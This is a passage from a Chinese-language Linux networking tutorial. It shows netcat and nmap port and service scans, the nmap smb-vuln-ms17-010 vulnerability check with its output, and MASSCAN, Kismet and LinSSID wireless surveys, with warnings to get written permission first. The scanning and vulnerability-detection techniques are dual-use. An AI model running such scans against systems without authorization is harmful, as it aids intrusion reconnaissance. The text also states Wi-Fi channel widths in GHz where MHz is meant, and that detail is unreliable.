nc: connect to 192.168.122.241 port 1013 (tcp) failed: Connection refused

好的,让我们尝试用我们的朋友grep来过滤这些:

$ nc -zv 192.168.122.241 1-1024 | grep –v refused

这仍然不起作用-为什么呢?关键在于“错误”这个词,Netcat 将错误发送到特殊的STDERR(标准错误)文件,这在 Linux 中是正常的(我们稍后将看到为什么对于这个工具来说,成功的连接算作错误)。该文件会回显到控制台,但它不是STDOUT,所以我们的grep过滤器完全错过了。我们该如何解决这个问题呢?

关于这三个STD文件或的一些背景知识-它们各自都有一个与之关联的文件编号:

通过对这些文件编号进行一些游戏,我们可以将STDERR重定向到STDOUT(这样grep现在将为我们工作):

$ nc -zv 192.168.122.241 1-1024 2>&1 | grep -v refused
Connection to 192.168.122.241 80 port [tcp/http] succeeded!
Connection to 192.168.122.241 443 port [tcp/https] succeeded!
Connection to 192.168.122.241 515 port [tcp/printer] succeeded!
Connection to 192.168.122.241 631 port [tcp/ipp] succeeded!

这是0(在真实网络中可见),但 netcat 在这方面失败了:

$ nc -zv 192.168.122.241 0-65535 2>&1 | grep -v refused
nc: port number too small: 0
$ nc -zv 192.168.122.241 1-65535 2>&1 | grep -v refused
Connection to 192.168.122.241 80 port [tcp/http] succeeded!
Connection to 192.168.122.241 443 port [tcp/https] succeeded!
Connection to 192.168.122.241 515 port [tcp/printer] succeeded!
Connection to 192.168.122.241 631 port [tcp/ipp] succeeded!
Connection to 192.168.122.241 3910 port [tcp/*] succeeded!
Connection to 192.168.122.241 3911 port [tcp/*] succeeded!
Connection to 192.168.122.241 8080 port [tcp/http-alt] succeeded!
Connection to 192.168.122.241 9100 port [tcp/*] succeeded!

我们也可以为 UDP 复制这个过程:

$ nc -u -zv 192.168.122.1 53
Connection to 192.168.122.1 53 port [udp/domain] succeeded!

然而,如果我们扫描 UDP 范围,这可能会出现端口不可达错误,如果路径中有任何防火墙,这并不总是受支持。让我们看看当针对 UDP 端口时,“前1024”扫描需要多长时间(注意我们如何使用分号串联命令):

$ date ; nc -u -zv 192.168.122.241 1-1024 2>&1 | grep succeed ; date
Thu 07 Jan 2021 09:28:17 AM PST
Connection to 192.168.122.241 68 port [udp/bootpc] succeeded!
Connection to 192.168.122.241 137 port [udp/netbios-ns] succeeded!
Connection to 192.168.122.241 138 port [udp/netbios-dgm] succeeded!
Connection to 192.168.122.241 161 port [udp/snmp] succeeded!
Connection to 192.168.122.241 427 port [udp/svrloc] succeeded!
Thu 07 Jan 2021 09:45:32 AM PST

是的,整整 18 分钟-这种方法并不是一个速度恶魔!

使用 netcat,你也可以直接与服务交互,就像我们的 telnet 示例一样,但没有 telnet 带来的“终端/光标控制”类型的开销。例如,连接到 web 服务器的语法如下:

# nc 192.168.122.241 80

但更有趣的是,我们可以建立一个虚假的服务,告诉 netcat 监听指定的端口。如果你需要测试连接,特别是如果你想测试防火墙规则,但还没有构建目标主机或服务,这将非常方便。

这个语法告诉主机监听端口80。使用l参数告诉 netcat 监听,但当你的远程测试程序或扫描程序连接并断开连接时,netcat 监听器会退出。使用l参数是“更努力地监听”的选项,它可以正确处理 TCP 连接和断开连接,使监听器保持在原地。不幸的是,Ubuntu 实现的 netcat 中缺少l参数和-e(执行)参数。不过我们可以通过其他方法实现这一点-继续阅读!

在此基础上,让我们使用 netcat 搭建一个简单的网站!首先,创建一个简单的文本文件。我们将把我们的index.html做成以下的样子:

现在,为了搭建网站,让我们在 netcat 语句中添加一个 1 秒的超时,并将整个内容放入一个循环中,这样当我们退出连接时,netcat 会重新启动:

$ while true; do cat index.html | nc -l -p 80 –q 1; done
nc: Permission denied
nc: Permission denied
nc: Permission denied
…. (and so on) ….

注意监听端口80失败了 - 我们不得不按下Ctrl + C来退出循环。为什么会这样?(提示:回到本章前面关于 Linux 中端口定义的部分。)让我们再试一次,使用端口1500

$ while true; do cat index.html | nc -l -p 1500 -q 1  ; done

浏览到我们的新网站(注意它是 HTTP,并注意使用:1500来设置目标端口),我们现在看到以下内容:

图 3.8 - 一个 Netcat 简单网站

图 3.8 - 一个 Netcat 简单网站

回到 Linux 控制台,您会看到 netcat 回显客户端的GET请求和浏览器的User-Agent字符串。您将看到整个 HTTP 交换(从服务器的角度):

GET / HTTP/1.1
Host: 192.168.122.22:1500
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

让我们更加积极一点,让这个网站告诉我们日期和时间:

while true; do echo -e "HTTP/1.1 200 OK\n\n $(date)" | nc -l -p 1500 -q 1; done

现在浏览该网站,我们可以看到当前的日期和时间:

图 3.9 - 一个更复杂的 Netcat 网站 - 添加时间和日期

图 3.9 - 一个更复杂的 Netcat 网站 - 添加时间和日期

或者,使用apt-get安装fortune软件包,我们现在可以添加一句谚语来给我们一些及时的智慧:

图 3.10 - 向 Netcat 网站添加一句谚语

图 3.10 - 向 Netcat 网站添加一句谚语

我们还可以使用 netcat 传输文件。在接收端,我们将监听端口1234,并将输出发送到out.file,同样使用重定向:

nc -l -p 1234 > received.txt

在发送端,我们将连接到该服务 3 秒钟,并发送sent-file.txt。我们将通过在相反方向使用重定向来获取我们的输入,使用<运算符:

nc -w 3 [destination ip address] 1234 < sent-file.txt

现在,回到接收端,我们可以使用cat命令查看生成的文件:

$ cat received.txt
Mr. Watson, come here, I want to see you.

这说明 netcat 可以是一个有价值的故障排除工具,但根据您要完成的任务,使用起来可能会比较复杂。我们可以使用 netcat 作为一个简单的代理,作为一个简单的聊天应用程序,或者呈现一个完整的 Linux shell - 所有这些对于网络管理员(或者渗透测试者)来说都是很方便的东西。

这就是 netcat 的基础知识。我们已经使用 netcat 来枚举本地端口,连接和与远程端口交互,搭建了一些相当复杂的本地服务,甚至传输文件。现在让我们来看看 Nmap,这是一种更快速、更优雅的枚举远程端口和服务的方法。

远程端口和服务枚举 - nmap

用于扫描网络资源的最广泛使用的工具是 NMAP(简称网络映射器)。NMAP 起初是一个简单的端口扫描工具,但现在已经远远超出了简单的功能范围,具有长长的功能列表。

首先,nmap 在基本的 Ubuntu 工作站上默认情况下是没有安装的(尽管它在许多其他发行版中默认情况下是包含的)。要安装它,请运行sudo apt-get install nmap

在我们继续使用 nmap 进行工作时,请尝试我们在示例中使用的各种命令。您可能会看到类似的结果,并且会在学习的过程中了解这个有价值的工具。在这个过程中,您可能也会对您的网络有很多了解!

重要提示

关于“自己尝试一下”建议的一个非常重要的警告。NMAP 是一个相当无害的工具,它几乎不会引起网络问题。但是,如果您在生产网络上运行它,您将首先要了解该网络的情况。有几类设备的网络堆栈特别“不稳定” - 例如较旧的医疗设备,以及较旧的工业控制系统(ICS)或监控和数据采集(SCADA)设备。

换句话说,如果您在医院、工厂或公用事业部门,要小心!对生产网络运行任何网络映射都可能引起问题。

你可能确实还想这样做,但首先要针对已知的"空闲"设备进行测试,这样当你扫描"真实"网络时,你可以确保不会造成问题。而且,请(),如果你在医疗保健网络上,请永远不要扫描任何与人相关的东西!

第二个(合法的)警告-不要未经许可扫描东西。如果你在家里或实验室网络上,那是一个很好的地方来使用 nmap 或更具侵略性的安全评估工具。但是,如果你在工作中,即使你确信不会造成问题,你也需要先书面获得许可。

扫描你不拥有或没有书面许可扫描的互联网主机是非常非法的。许多人认为这是相当无害的,在大多数情况下,扫描只是大多数公司认为的"互联网白噪音"(大多数组织每小时被扫描几十次甚至几百次)。请记住,谚语"罪犯和信息安全专业人员之间的区别在于签署的合同"之所以经常被重复,是因为它是 100%正确的。

有了这一切,让我们更加熟悉这个伟大的工具!尝试运行man nmap(还记得manual命令吗?)- nmap 的 man 页面中有很多有用的信息,包括完整的文档。不过一旦我们更熟悉这个工具,你可能会发现帮助文本更快。通常你知道(多多少少)你在寻找什么,所以你可以使用grep命令搜索,例如:nmap - -help | grep <my_search_string>。在 nmap 的情况下,你可以放弃标准的- - help选项,因为 nmap 没有参数的默认输出是帮助页面。

因此,要找出如何进行 ping 扫描-也就是说,对范围内的所有内容进行 ping(我总是忘记语法),你可以搜索如下:

$ nmap | grep -i ping
  -sn: Ping Scan - disable port scan
  -PO[protocol list]: IP Protocol Ping

我们该怎么做?NMAP 想知道你想要映射什么-在这种情况下,我将映射192.168.122.0/24子网:

$ nmap -sn 192.168.122.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-05 13:53 PST
Nmap scan report for _gateway (192.168.122.1)
Host is up (0.0021s latency).
Nmap scan report for ubuntu (192.168.122.21)
Host is up (0.00014s latency).
Nmap scan report for 192.168.122.51
Host is up (0.0022s latency).
Nmap scan report for 192.168.122.128
Host is up (0.0027s latency).
Nmap scan report for 192.168.122.241
Host is up (0.0066s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.49 seconds

这是一个快速扫描,告诉我们子网上当前活动的每个 IP。

现在让我们寻找服务。让我们首先寻找任何运行tcp/443(你可能会认识为 HTTPS)的东西。我们将使用nmap –p 443 –open 192.168.122.0/24命令。在这个命令中有两件事要注意。首先,我们用-p选项指定了端口。

默认情况下,NMAP 使用SYN扫描来扫描 TCP 端口。nmap 发送一个SYN数据包,并等待收到一个SYN-ACK数据包。如果它看到了,端口就是打开的。如果它收到一个端口不可达的响应,那么端口被认为是关闭的。

如果我们想要进行完整的connect扫描(整个三次握手完成),我们可以指定-sT

接下来,我们看到了一个--open选项。这表示"只显示给我打开的端口"。如果没有这个选项,我们将看到关闭的端口以及"过滤"的端口(通常意味着初始数据包没有返回任何东西)。

如果我们想要更详细地了解为什么端口可能被认为是打开、关闭或被过滤,我们会移除--open选项,然后添加--reason

$ nmap -p 443 --open 192.168.122.0/24
 Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-05 13:55 PST
Nmap scan report for _gateway (192.168.122.1)
Host is up (0.0013s latency).
PORT    STATE SERVICE
443/tcp open  https
Nmap scan report for 192.168.122.51
Host is up (0.0016s latency).
PORT    STATE SERVICE
443/tcp open  https
Nmap scan report for 192.168.122.241
Host is up (0.00099s latency).
PORT    STATE SERVICE
443/tcp open  https
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.33 seconds

要扫描 UDP 端口,我们会使用相同的语法,但添加sU选项。注意到这一点,我们开始看到活动主机的 MAC 地址。这是因为扫描的主机与扫描器在同一个子网中,所以这些信息是可用的。NMAP 使用 MAC 地址的 OUI 部分来识别每个网络卡的供应商:

$ nmap -sU -p 53 --open 192.168.122.0/24
You requested a scan type which requires root privileges.
QUITTING!

糟糕-因为我们正在扫描 UDP 端口,Nmap 需要以 root 权限运行(使用sudo)。这是因为它需要将发送接口置于混杂模式,以便捕获可能返回的任何数据包。这是因为 UDP 中没有类似 TCP 中的会话的第 5 层概念,因此发送和接收的数据包之间没有第 5 层连接。根据使用的命令行参数(不仅仅是用于 UDP 扫描),Nmap 可能需要提升的权限。在大多数情况下,如果您使用 Nmap 或类似工具,您会发现自己经常使用sudo

$ sudo nmap -sU -p 53 --open 192.168.122.0/24
[sudo] password for robv:
Sorry, try again.
[sudo] password for robv:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-05 14:04 PST
Nmap scan report for _gateway (192.168.122.1)
Host is up (0.00100s latency).
PORT   STATE SERVICE
53/udp open  domain
MAC Address: 00:0C:29:3B:73:CB (VMware)
Nmap scan report for 192.168.122.21
Host is up (0.0011s latency).
PORT   STATE         SERVICE
53/udp open|filtered domain
MAC Address: 00:0C:29:E4:0C:31 (VMware)
Nmap scan report for 192.168.122.51
Host is up (0.00090s latency).
PORT   STATE         SERVICE
53/udp open|filtered domain
MAC Address: 00:25:90:CB:00:18 (Super Micro Computer)
Nmap scan report for 192.168.122.128
Host is up (0.00078s latency).
PORT   STATE         SERVICE
53/udp open|filtered domain
MAC Address: 98:AF:65:74:DF:6F (Unknown)
Nmap done: 256 IP addresses (23 hosts up) scanned in 1.79 seconds

关于此扫描还有一些需要注意的事项:

初始扫描尝试失败了-请注意,您需要 root 权限才能在 NMAP 中进行大多数扫描。为了获得它所做的结果,在许多情况下,该工具会自己制作数据包,而不是使用标准的操作系统服务来执行,它通常也需要权限来捕获目标主机返回的数据包-因此 nmap 需要提升的权限来执行这两个操作。

我们看到很多状态指示open|filtered端口。UDP 特别容易出现这种情况-因为没有SYN/SYN-ACK类型的握手,你发送一个UDP数据包,可能不会收到任何回应-这并不一定意味着端口关闭,可能意味着你的数据包被远程服务处理了,但没有发送确认(有些协议就是这样)。或者在很多情况下,这可能意味着端口没有开启,主机没有正确返回 ICMP Port Unreachable错误消息(ICMP Type 1, Code 3)。

为了获得更多细节,让我们使用sV选项,这将探测相关端口并获取有关服务本身的更多信息。在这种情况下,我们将看到192.168.122.1被明确识别为开放的,运行domain服务,并列出服务版本为generic dns response: NOTIMP(这表示服务器不支持RFC 2136中描述的 DNS UPDATE功能)。服务信息后面的服务指纹签名可以帮助进一步识别服务,如果 NMAP 的识别不是最终确定的。

还要注意,对于其他主机,原因被列为no-response。如果您了解协议,通常可以在这些情况下做出良好的推断。在扫描 DNS 时,no-response表示那里没有 DNS 服务器或端口关闭。(或者可能是打开了一些与 DNS 不同的古怪服务,这是非常不太可能的)。(这是在192的一个 DNS 服务器上。)

还要注意,这次扫描花了整整 100 秒,大约是我们最初扫描的 50 倍:

$ sudo nmap -sU -p 53 --open -sV --reason 192.168.122.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-05 14:17 PST
Nmap scan report for _gateway (192.168.122.1)
Host is up, received arp-response (0.0011s latency).
PORT   STATE SERVICE REASON              VERSION
53/udp open  domain  udp-response ttl 64 (generic dns response: NOTIMP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.80%I=7%D=1/5%Time=5FF4E58A%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReq,1E,"\0\x06\x81\x85\0\x01\0\0\0\0\0\0\x07version\x04bind\0\
SF:0\x10\0\x03")%r(DNSStatusRequest,C,"\0\0\x90\x04\0\0\0\0\0\0\0\0")%r(NB
SF:TStat,32,"\x80\xf0\x80\x95\0\x01\0\0\0\0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAA
SF:AAAAAAAAA\0\0!\0\x01");
MAC Address: 00:0C:29:3B:73:CB (VMware)
Nmap scan report for 192.168.122.51
Host is up, received arp-response (0.00095s latency).
PORT   STATE         SERVICE REASON      VERSION
53/udp open|filtered domain  no-response
MAC Address: 00:25:90:CB:00:18 (Super Micro Computer)
Nmap scan report for 192.168.122.128
Host is up, received arp-response (0.00072s latency).
PORT   STATE         SERVICE REASON      VERSION
53/udp open|filtered domain  no-response
MAC Address: 98:AF:65:74:DF:6F (Unknown)
Nmap scan report for 192.168.122.171
Host is up, received arp-response (0.0013s latency).
PORT   STATE         SERVICE REASON      VERSION
53/udp open|filtered domain  no-response
MAC Address: E4:E1:30:16:76:C5 (TCT mobile)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (24 hosts up) scanned in 100.78 seconds

让我们尝试对192.168.122.1tcp/443端口进行sV详细服务扫描-我们将看到 NMAP 对运行在该主机上的 Web 服务器进行了相当不错的识别:

root@ubuntu:~# nmap -p 443 -sV 192.168.122.1
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 09:02 PST
Nmap scan report for _gateway (192.168.122.1)
Host is up (0.0013s latency).
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http nginx
MAC Address: 00:0C:29:3B:73:CB (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.60 seconds

尝试对192.168.122.51进行相同的操作,我们发现该服务被正确识别为 VMware ESXi 7.0 管理界面:

root@ubuntu:~# nmap -p 443 -sV 192.168.122.51
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 09:09 PST
Nmap scan report for 192.168.122.51
Host is up (0.0013s latency).
PORT    STATE SERVICE   VERSION
443/tcp open  ssl/https VMware ESXi SOAP API 7.0.0
MAC Address: 00:25:90:CB:00:18 (Super Micro Computer)
Service Info: CPE: cpe:/o:vmware:ESXi:7.0.0
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 140.48 seconds

现在我们已经成为使用各种选项扫描端口的专家,让我们来扩展一下。NMAP 允许我们对它发现的任何开放端口运行脚本-这可以节省大量时间!

NMAP 脚本

到目前为止,我们只是看了端口扫描-NMAP 不仅仅是这样。它提供了一个完整的脚本引擎,可以处理 NMAP 的数据包或输出,基于 Lua(一种基于文本的解释语言)。我们不会在本书中深入研究 LUA,但 NMAP 附带了几个预先编写的脚本,其中一些对网络管理员非常有价值。

例如,考虑 SMB 版本信息。微软多年来一直强烈建议退役 SMBv1,尤其是在 2017 年 WannaCry/Petya/NotPetya 恶意软件系列中使用 EternalBlue 和 EternalRomance 漏洞之前。尽管通过在较新的 Windows 版本中甚至难以启用 SMBv1 来有效地退役了 SMBv1,但我们仍然在企业网络中看到 SMBv1-无论是在较旧的服务器平台上还是在实现 Samba 服务中的较旧的基于 Linux 的设备上。使用smb-protocols脚本扫描这一点非常容易。在使用任何脚本之前,打开脚本查看它的确切功能以及 NMAP 如何调用它(可能需要哪些端口或参数)。在这种情况下,smb-protocols文本给出了我们的用法,以及输出中可以期望的内容。

-- @usage nmap -p445 --script smb-protocols <target>
-- @usage nmap -p139 --script smb-protocols <target>
--
-- @output
-- | smb-protocols:
-- |   dialects:
-- |     NT LM 0.12 (SMBv1) [dangerous, but default]
-- |     2.02
-- |     2.10
-- |     3.00
-- |     3.02
-- |_    3.11
--
-- @xmloutput
-- <table key="dialects">
-- <elem>NT LM 0.12 (SMBv1) [dangerous, but default]</elem>
-- <elem>2.02</elem>
-- <elem>2.10</elem>
-- <elem>3.00</elem>
-- <elem>3.02</elem>
-- <elem>3.11</elem>
-- </table>

让我们扫描目标网络中的一些特定主机,以获取更多信息。我们只展示一个运行 SMBv1 协议的示例主机的输出。从主机名来看,它似乎是一个网络附加存储NAS)设备,因此很可能在内部是基于 Linux 或 BSD 的。从 OUI 中我们可以看到主机的品牌名称,这给了我们更具体的信息:

nmap -p139,445 --open --script=smb-protocols 192.168.123.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 12:27 Eastern Standard Time
Nmap scan report for test-nas.defaultroute.ca (192.168.123.1)
Host is up (0.00s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:D0:B8:21:89:F8 (Iomega)
Host script results:
| smb-protocols: 
|   dialects: 
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

或者您可以直接使用smb-vuln-ms17-010.nse脚本扫描Eternal*漏洞(仅显示一个主机作为示例)。扫描同一主机时,我们发现即使启用了 SMBv1,该特定漏洞也没有发挥作用。但仍强烈建议禁用 SMBv1,因为 SMBv1 容易受到一系列漏洞的影响,而不仅仅是ms17-010

在列表中再往下滚动一点,我们的第二个示例主机确实存在该漏洞。从主机名来看,我们可以看到这很可能是一个业务关键的主机(运行 BAAN),因此我们更希望修复这台服务器而不是勒索软件。查看该主机上的生产应用程序,实际上没有理由让大多数用户暴露 SMB-实际上只有系统或应用程序管理员应该映射到该主机,用户应该通过其应用程序端口连接到它。对此的建议显然是修补漏洞(这可能已经有好几年没有做了),但也要将该服务防火墙隔离开大多数用户(或者如果管理员不使用该服务,则禁用该服务)。

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 12:32 Eastern Standard Time
Nmap scan report for nas.defaultroute.ca (192.168.123.11)
Host is up (0.00s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:D0:B8:21:89:F8 (Iomega)
Nmap scan report for baan02.defaultroute.ca (192.168.123.77)
Host is up (0.00s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 18:A9:05:3B:ED:EC (Hewlett Packard)
Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap 安装了数百个脚本。如果您正在寻找特定内容,特别是如果仅通过端口扫描无法确定,那么使用一个或多个 nmap 脚本通常是最简单的方法。只需记住,如果您正在寻找"流氓"主机,比如 DHCP 服务器,您将找到您的生产主机以及任何不需要的实例。

请注意,许多脚本依赖您在扫描中包含正确的端口号。"广播"风格的脚本通常只会扫描您的扫描器所在的子网,因此扫描远程子网可能意味着"借用"或放置主机在该子网上。本列表中讨论的许多核心网络服务在本书的后续章节中都有涉及,包括 DNS、DHCP 等。

请记住(再次强调),未经授权的扫描从来不符合您的最佳利益-首先获得书面许可!

nmap 附带了数百个脚本,还有数百个可以通过快速的互联网搜索获得。我在生产网络上发现的一些预打包的 nmap 脚本包括以下内容:

意外的、恶意的或配置错误的网络基础设施

服务器问题和恶意服务

盗版、"影子 IT"、恶意或其他意外服务器

工作站问题

网络外围问题

其他服务器或工作站问题

这总结了 Nmap 的各种用途。Nmap 在较大的网络中表现不佳 - 例如,在/8/16网络中,或一些非常大的 IPv6 网络中。对于这些网络,需要更快的工具。让我们探索 MASSCAN 工具的这些用途。

Nmap 有限制吗?

Nmap 的主要限制是性能。随着网络规模的增长,Nmap(当然)完成任何扫描所需的时间会越来越长。这通常不是问题,但在生产网络中,如果您的扫描从早上 8 点开始,直到第二天结束,那么很可能有相当长的时间设备大多处于关闭状态或断开连接状态,因此扫描的实用性会受到影响。当您在非常大的网络上时,这一点尤为明显 - 例如,当您的子网掩码缩小或网络数量增加时,Nmap 的扫描时间可能会增加到几个小时、几天或几周。同样,在 IPv6 网络中,通常会看到成千上万甚至数百万的地址,这可能会导致 Nmap 扫描时间长达数年甚至数十年。

有两种方法可以帮助解决这个问题。

首先,如果您阅读 NMAP 的man页面,有一些参数可以加快速度 - 您可以调整并行性(可以同时运行多少个操作)、主机超时、往返超时和操作之间的延迟等。这些在man页面上有详细说明,并且在这里有更深入的讨论:nmap.org/book/man-performance.html

或者,您可以查看不同的工具。Rob Graham 维护了 MASSCAN 工具,该工具专门用于高性能扫描。有足够的带宽和马力,它可以在不到 10 分钟的时间内扫描整个 IPv4 互联网。该工具的 1.3 版本增加了 IPv6 支持。MASSCAN 的语法类似于 Nmap,但在使用这个更快的工具时有一些需要注意的地方。该工具以及其文档和“陷阱”发布在这里:github.com/robertdavidgraham/masscan

对于非常大的网络,一个常见的方法是使用 MASSCAN(或调整为更快扫描的 Nmap)进行初始扫描。然后可以使用来自初步扫描的输出来“馈送”下一个工具,无论是 Nmap 还是可能是其他工具,也许是诸如 Nessus 或 OpenVAS 之类的安全扫描工具。像这样将工具“链接”在一起,最大程度地发挥各自的优势,以在最短的时间内实现最佳结果。

所有工具都有其局限性,IPv6 网络对于扫描工具仍然是一个挑战。除非您可以以某种方式限制范围,否则 IPv6 将很快达到扫描主机的网络带宽、时间和内存的极限。DNS 收集等工具可以在这方面提供帮助 - 如果您可以在扫描服务之前确定哪些主机实际上是活动的,那么可以将目标地址数量显着减少到可管理的范围内。

端口扫描已经完成,让我们离开有线世界,探索在无线网络上使用 Linux 进行故障排除。

无线诊断操作

无线网络中的诊断工具通常关注于发现信号强度低和干扰的区域 - 这些问题会给使用您的无线网络的人造成问题。

有一些基于 Linux 的优秀无线工具,但我们将讨论 Kismet、Wavemon 和 LinSSID。这三个工具都是免费的,并且都可以使用标准的apt-get install <package name>命令进行安装。如果将工具搜索范围扩大到包括攻击类型工具或商业产品,那么列表显然会变得更大。

Kismet 是 Linux 上可用的较旧的无线工具之一。我第一次接触它是作为信息安全工具,强调“隐藏”的无线 SSID 实际上根本不是隐藏的!

要运行该工具,请使用以下命令:

$ sudo kismet –c <wireless interface name>

或者,如果您有一个完全工作的配置,不需要实际的服务器窗口,运行以下命令:

$ sudo kismet –c <wireless interface name> &

现在,在另一个窗口中(或者如果您在后台运行 Kismet,则在同一个位置),运行 Kismet 客户端:

$ kismet_client

在显示中,您将看到各种 SSID 以及传输它们的接入点的 BSSID。当您浏览此列表时,您将看到用于每个 SSID 的信道和加密类型,您的笔记本电脑理解它可以在该 SSID 上协商的速度,以及该 SSID 上的所有客户端站点。每个客户端都将显示其 MAC 地址、频率和数据包计数。这些信息都作为每个客户端的关联过程和持续连接的“握手”部分以明文发送。

由于您的无线适配器一次只能在一个 SSID/BSSID 组合上,所以所呈现的信息是通过在信道之间跳转收集的。

在下面的屏幕截图中,我们展示了一个隐藏的 SSID,显示了接入点的 BSSID,以及与该接入点上的该 SSID 关联的八个客户端:

图 3.11 - 主屏幕上的典型 Kismet 输出

图 3.11 - 主屏幕上的典型 Kismet 输出

在网络上按Enter键会给您更多关于从该接入点广播的 SSID 的信息。请注意,我们在这个显示中看到了一个隐藏的 SSID

图 3.12 - Kismet 输出,接入点/SSID 详细信息

图 3.12 - Kismet 输出,接入点/SSID 详细信息

进一步深入,您可以获取有关客户端活动的详细信息:

图 3.13 - Kismet 输出,客户端详细信息

图 3.13 - Kismet 输出,客户端详细信息

Kismet 是一款用于侦察和演示的好工具,但菜单相当容易迷失在其中,当排除信号强度故障时,很难专注于追踪我们真正关心的事物。

Wavemon 是一个非常不同的工具。它只监视您的连接,因此您必须将其与一个 SSID 关联起来。它会给出您当前的接入点、速度、信道等信息,如下面的屏幕截图所示。这可能是有用的,但它只是对通常用于故障排除所需的信息的狭窄视图 - 请注意在下面的屏幕截图中,报告的值主要是关于数据吞吐量和信号,从适配器关联到的网络中看到的。因此,Wavemon 工具主要用于故障排除上行问题,并且在故障排除、评估或查看整体无线基础设施方面并不经常使用:

图 3.14 - Wavemon 显示

图 3.14 - Wavemon 显示

更有用的是LinSSID,这是对 MetaGeek 的 Windows 应用 inSSIDer 的一个相当接近的移植。运行应用程序后,屏幕相当空白。选择要用于“嗅探”本地无线网络的无线适配器,然后按Run按钮。

显示了两个频谱上可用的信道(2.4 和 5 GHz),每个 SSID 在顶部窗口中表示。在列表中选中的每个 SSID/BSSID 组合都显示在底部窗口中。这样很容易看到列表中每个 AP 的信号强度,以及图形显示中的相对强度。在它们重叠的图形显示中,相互干扰的 SSID 是显而易见的。下面的屏幕截图显示了 5 GHz 频谱情况 - 请注意 AP 似乎都聚集在两个信道周围。其中任何一个都可以通过更改信道来提高性能,在我们的显示中有很多信道可以使用 - 实际上,这正是推动迁移到 5 GHz 的原因。是的,这个频段更快,但更重要的是,它更容易解决来自邻近接入点的任何干扰问题。还要注意,图表上显示的每个信道大约占用 20 GHz(稍后会详细介绍):

图 3.15 - LinSSID 输出 - 主屏显示信道分配和强度,文本和图形两种方式

图 3.15 - LinSSID 输出 - 主屏显示信道分配和强度,文本和图形两种方式

2.4 GHz 信道也不好。由于在北美只有 11 个信道可用,通常会看到人们选择信道 1、6 或 11 - 这 3 个信道不会相互干扰。在几乎任何不是农村的环境中,您会看到几个邻居使用您认为是空闲的那 3 个信道!在下面的屏幕截图中,我们看到每个人都选择了信道 11,原因不明:

图 3.16 - 来自无线邻居的干扰 - 多个无线 BSSID 使用相同的信道

图 3.16 - 来自无线邻居的干扰 - 多个无线 BSSID 使用相同的信道

在第二个例子中(也来自 2.4 GHz 频谱),我们看到人们选择了更宽的信号“足迹”的结果。在 802.11 无线中,您可以将默认的 20 GHz 信道扩展到 40 或 80 GHz。这样做的好处是 - 在没有任何邻居的情况下 - 这肯定会提高吞吐量,特别是对于轻度使用的信道(例如一个或两个客户端)。然而,在相邻接入点有重叠信号的环境中,您会发现增加信道宽度(在 2.4 GHz 频段上)会给每个人带来更多的干扰 - 相邻接入点可能发现自己没有好的信道选择。这种情况通常会影响每个人的信号质量(和吞吐量),包括选择增加信道宽度的那个“坏邻居”。

在 5 GHz 频段,有更多的信道,因此通常可以更安全地增加信道宽度。不过,在选择或扩大接入点上的信道之前,最好先看看您的频谱发生了什么:

图 3.17 - 在 2.4 GHz 频谱中使用更宽的信道宽度,导致干扰

图 3.17 - 在 2.4 GHz 频谱中使用更宽的信道宽度,导致干扰

在我们讨论过的工具中,LinSSID 特别适用于进行无线站点调查,您需要查看可用的信道,更重要的是,跟踪信号强度并找到“死角”,以最大限度地覆盖建筑物或区域的无线覆盖范围。 LinSSID 也是我们讨论过的工具中最有帮助的,可以找到信道干扰的情况,或者解决信道宽度选择不当的情况。

通过我们讨论和探讨过的工具,您现在应该能够很好地解决 2.4 GHz 和 5 GHz 频段的无线信号强度和干扰问题。您应该能够使用诸如 Kismet 之类的工具来查找隐藏的 SSID,使用诸如 Wavemon 之类的工具来解决您所关联的网络的问题,并使用诸如 LinSSID 之类的工具来全面查看无线频谱,寻找干扰和信号强度问题,以及信道宽度和信道重叠问题。

总结

